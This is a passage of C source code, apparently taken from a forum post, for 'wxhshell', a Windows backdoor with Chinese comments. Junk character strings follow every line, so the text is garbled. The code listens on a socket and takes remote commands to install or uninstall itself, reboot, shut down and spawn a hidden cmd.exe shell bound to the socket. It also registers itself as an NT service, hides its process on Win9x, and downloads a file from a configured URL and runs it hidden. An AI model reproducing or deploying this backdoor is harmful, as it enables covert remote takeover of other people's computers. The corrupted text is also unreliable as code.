  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yy6Mkw7X  
  else Hn5:*;N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5F{NPKa Q  
  } #T1py@b0zA  
  else { U}ei2q\  
a>x3UVf_  
    switch(cmd[0]) { 4}@J]_]Z  
  n,hl6[OL7  
  // 帮助 yOwo(+ 2  
  case '?': { h+)XLs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kH'LG!O  
    break; ]n9o=^q/  
  } `)Z"||8K  
  // 安装 e&WlJ  
  case 'i': { m20:{fld  
    if(Install()) #zflU99d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e 4-  
    else -FRMal4Pg0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7e[3Pu_/X  
    break; &[u%ZL  
    } iV#sMJN9  
  // 卸载 }71a3EUK  
  case 'r': { S B2R  
    if(Uninstall()) )Il) H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 86pujXjc'  
    else d:C|laZHn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iNj*G j  
    break; N 4Kj)E@  
    } a;a^- n|D  
  // 显示 wxhshell 所在路径 ?=zF]J:G1w  
  case 'p': { MIa#\tJj  
    char svExeFile[MAX_PATH]; 6Ih8~Hu  
    strcpy(svExeFile,"\n\r"); 9e5XS\  
      strcat(svExeFile,ExeFile); +i"^"/2f{  
        send(wsh,svExeFile,strlen(svExeFile),0); []^fb,5a  
    break; t}FwS6u  
    } ykAZP[^'  
  // 重启 ?'>pfU  
  case 'b': { -rg >y!L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,#n$YT7  
    if(Boot(REBOOT)) ^j~CYzmt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s{g^K#BoFi  
    else { v_U+wga  
    closesocket(wsh); O_vCZW a3  
    ExitThread(0); )W,tL*9[  
    } KZeaM  
    break; t UOqF  
    } K=Q<G:+&V  
  // 关机 -/^a2_d[  
  case 'd': { i&K-|[3{g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HNXMM  
    if(Boot(SHUTDOWN)) ||p>O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O+f'Ql  
    else { 4Ny lc.2mi  
    closesocket(wsh); !H)Cua)  
    ExitThread(0); Qqm$Jl!  
    } oGIh:n7 q+  
    break; vZ6_/ew8  
    } M\m6|P  
  // 获取shell ?aMd#.&  
  case 's': { 9nGS"E l{  
    CmdShell(wsh); i!yu%>:M  
    closesocket(wsh); D MzDV_  
    ExitThread(0); $M:Ru@Du2  
    break; ^ "D  
  } y [jck:  
  // 退出 "gIjU~'A  
  case 'x': { pnTuYT^%)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n0 q$/Y.  
    CloseIt(wsh); b^s>yN  
    break; :Vnus @#r  
    } sKCfI]  
  // 离开 BN]{o(EB  
  case 'q': { |g`:K0BI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1EmZ/@k/Y  
    closesocket(wsh); W{!Slf  
    WSACleanup(); +M s`C)f  
    exit(1); 9JtPP  
    break; ^U;r>[T9h  
        } 'Dx_n7&=  
  } e0e3b]  
  } Yn>y1~  
>|W\8dTQ  
  // 提示信息 8GKqPS+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H_&z- g`  
} +Rq7m]  
  } <c!I\y  
$ T2 n^yz  
  return; e b*w$|y6"  
} j0(+Kq:J  
@ C"w 1}  
// shell模块句柄 kf -/rC)>  
int CmdShell(SOCKET sock) (i)Ed9~F"  
{ ,\CG}-v@CN  
STARTUPINFO si; U/j+\Kc~  
ZeroMemory(&si,sizeof(si)); V|T3blG?D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qh{]gw-6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O{&wqV5m"  
PROCESS_INFORMATION ProcessInfo; @7z_f!'u  
char cmdline[]="cmd"; !fT3mI6u\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ks/Uyu. X  
  return 0; no UXRQ  
} "v[?`<53^l  
WEZ)>[Xj?  
// 自身启动模式 rvwfQ'14  
int StartFromService(void) \?K>~{)  
{ \+I+Lrj%  
typedef struct 15U[F0b  
{ 4SGF8y@WU  
  DWORD ExitStatus; O ]Stf7]%;  
  DWORD PebBaseAddress; f<K7m  
  DWORD AffinityMask; se^(1R k  
  DWORD BasePriority; oP`yBX  
  ULONG UniqueProcessId; nd xijqw  
  ULONG InheritedFromUniqueProcessId; 6~y7A<[^  
}   PROCESS_BASIC_INFORMATION; f^D4aEU  
1 z5\>F  
PROCNTQSIP NtQueryInformationProcess; *=~X1s  
otSF8[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A_}%YHb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |vf /M|  
]Yd7  
  HANDLE             hProcess; Ymr\8CG/  
  PROCESS_BASIC_INFORMATION pbi; uL[%R2  
g$eZT{{W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;x~[om21;  
  if(NULL == hInst ) return 0; }y P98N5o  
0Q= o"@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "RG #e +  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #{L !o5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j"Vb8}  
ukH?O)0O  
  if (!NtQueryInformationProcess) return 0; v*.#LJEm  
OcLFVD=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4t;m^Iv  
  if(!hProcess) return 0; ;th]/ G  
q*kieqG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nM,5KHU4a  
JHCV7$RS  
  CloseHandle(hProcess); ( O>oN~  
. 7EZB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X/!37  
if(hProcess==NULL) return 0; `+go| 5N2  
-$J%.fdPs  
HMODULE hMod; T1}9^3T?{  
char procName[255]; _-.~>C  
unsigned long cbNeeded; ie+746tFW  
r31H Zx1^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;*8nd-\  
Q, !b  
  CloseHandle(hProcess); LN?b6s75U  
At#'q>Dn  
if(strstr(procName,"services")) return 1; // 以服务启动 koizk&)  
xp>p#c  
  return 0; // 注册表启动 !Ci\Zg  
} G$buZspL'd  
i%R2#F7I  
// 主模块 =>7\s}QZ  
int StartWxhshell(LPSTR lpCmdLine) !"Q8KV  
{ t,8p}2,$  
  SOCKET wsl; qt#a_F*rV  
BOOL val=TRUE; bof{R{3q  
  int port=0; L,F )l2  
  struct sockaddr_in door; Y_) aoRjB  
2Rp'ju~O)/  
  if(wscfg.ws_autoins) Install(); gl4|D  
[@qUQ,Ie  
port=atoi(lpCmdLine); v$`AN4)}  
w C0fPPeA  
if(port<=0) port=wscfg.ws_port; >Tm|}\qEb  
/?; 8F  
  WSADATA data; lj1wTiaI(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~!,Q<?  
c9dH ^t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3psCV=/z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4^KoH eM6  
  door.sin_family = AF_INET; Y.Er!(pz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $UZ4,S?V  
  door.sin_port = htons(port); .bm#|X)RO  
cs?@Ri=g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S"iQQV{)Z  
closesocket(wsl);  +McKyEa  
return 1; GLe(?\Ug=  
} .bOueB-  
d8b'Gjwtw  
  if(listen(wsl,2) == INVALID_SOCKET) { =#i#IF42?  
closesocket(wsl); ] =jnt  
return 1; #lax0IYY=  
} sBuVm<H  
  Wxhshell(wsl); ]]s_ 8u 3  
  WSACleanup(); >NN|vj  
vO1P%)  
return 0; [UI4YZu}  
Q~4o{"3.'  
} O,_2dj d  
: 5@cj j  
// 以NT服务方式启动 Y"mD)\Bw?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RGGP6SDc  
{ <?P UF,  
DWORD   status = 0; >qn@E?Uf  
  DWORD   specificError = 0xfffffff; kRgyvA,*;  
}Kq5!XJV9C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u pf7:gk +  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _tQ=ASe0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lC6#EU;  
  serviceStatus.dwWin32ExitCode     = 0; "w`f>]YLA  
  serviceStatus.dwServiceSpecificExitCode = 0; jow^~   
  serviceStatus.dwCheckPoint       = 0; @ -JD`2z  
  serviceStatus.dwWaitHint       = 0; Y}"|J ~  
?Z] }G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bK%go  
  if (hServiceStatusHandle==0) return; ?|+bM`  
 "t8mQ;n  
status = GetLastError(); "HVwm>qEi  
  if (status!=NO_ERROR) -(>x@];r0  
{ 1uv"5`%s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5SX0g(C  
    serviceStatus.dwCheckPoint       = 0; E8>npDFv.  
    serviceStatus.dwWaitHint       = 0; [*?P2.bf  
    serviceStatus.dwWin32ExitCode     = status; L]#J?lE&  
    serviceStatus.dwServiceSpecificExitCode = specificError; y]?%2ud/=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~SJOynSz,  
    return; f+s'.z%  
  } sEdWBT 8  
XFmnZpqXH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YjS|Ht->  
  serviceStatus.dwCheckPoint       = 0; n<lU;  
  serviceStatus.dwWaitHint       = 0;  iTbmD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +F 6KGK[  
} >S{1=N@Ev=  
HqOSQ<-Fo  
// 处理NT服务事件,比如:启动、停止 .'"+CKD.N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X!,Ngmw.  
{ lyZof_/*  
switch(fdwControl) 'y}A3 RqN  
{ pWps-e  
case SERVICE_CONTROL_STOP: *kL1r w6  
  serviceStatus.dwWin32ExitCode = 0; 8.jd'yp*J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ` M4; aN  
  serviceStatus.dwCheckPoint   = 0; ClVMZ  
  serviceStatus.dwWaitHint     = 0; fylW)W4C  
  { %<DRrKt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+r/>-3]  
  } gNs@Q !  
  return; :n'QN Gj  
case SERVICE_CONTROL_PAUSE: ":"M/v%F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rl3KE)<  
  break;  G!O D7:  
case SERVICE_CONTROL_CONTINUE: orzdq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <`| }bt  
  break; F6Q#{Ufq  
case SERVICE_CONTROL_INTERROGATE: Ylt[Ks<2  
  break; )CdglPK  
}; qI;k2sQR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2E2J=Do  
} uLhamE)  
z0g]nYN%  
// 标准应用程序主函数 >PySd"u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A2rr>  
{ %7 J  
lrq !}\aX  
// 获取操作系统版本 Cn28&$:J  
OsIsNt=GetOsVer(); yg\A&0I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s|,gn5  
=/dW5qy;*+  
  // 从命令行安装 7qW:^2y  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z"!C  
w0*6GCP  
  // 下载执行文件 3<JZt.|  
if(wscfg.ws_downexe) { 7)_0jp~2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u3k+Xg:  
  WinExec(wscfg.ws_filenam,SW_HIDE); IyP\7WZ  
} 3\D jV2t  
y[r T5ed  
if(!OsIsNt) { ' {:(4>&  
// 如果时win9x,隐藏进程并且设置为注册表启动 &I!2gf  
HideProc(); &|{K*pNa  
StartWxhshell(lpCmdLine); o Y.JK  
} PCaa _ 2  
else jsez$m%vs  
  if(StartFromService()) M $e~Rlw  
  // 以服务方式启动 {v`wQM[  
  StartServiceCtrlDispatcher(DispatchTable); h{PLyWH  
else 8o{ SU6pH  
  // 普通方式启动 bJBx~  
  StartWxhshell(lpCmdLine); mLq?-&F  
}qlz^s  
return 0; Y_)04dmr@[  
}
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只看该作者 1 发表于: 2006-10-10
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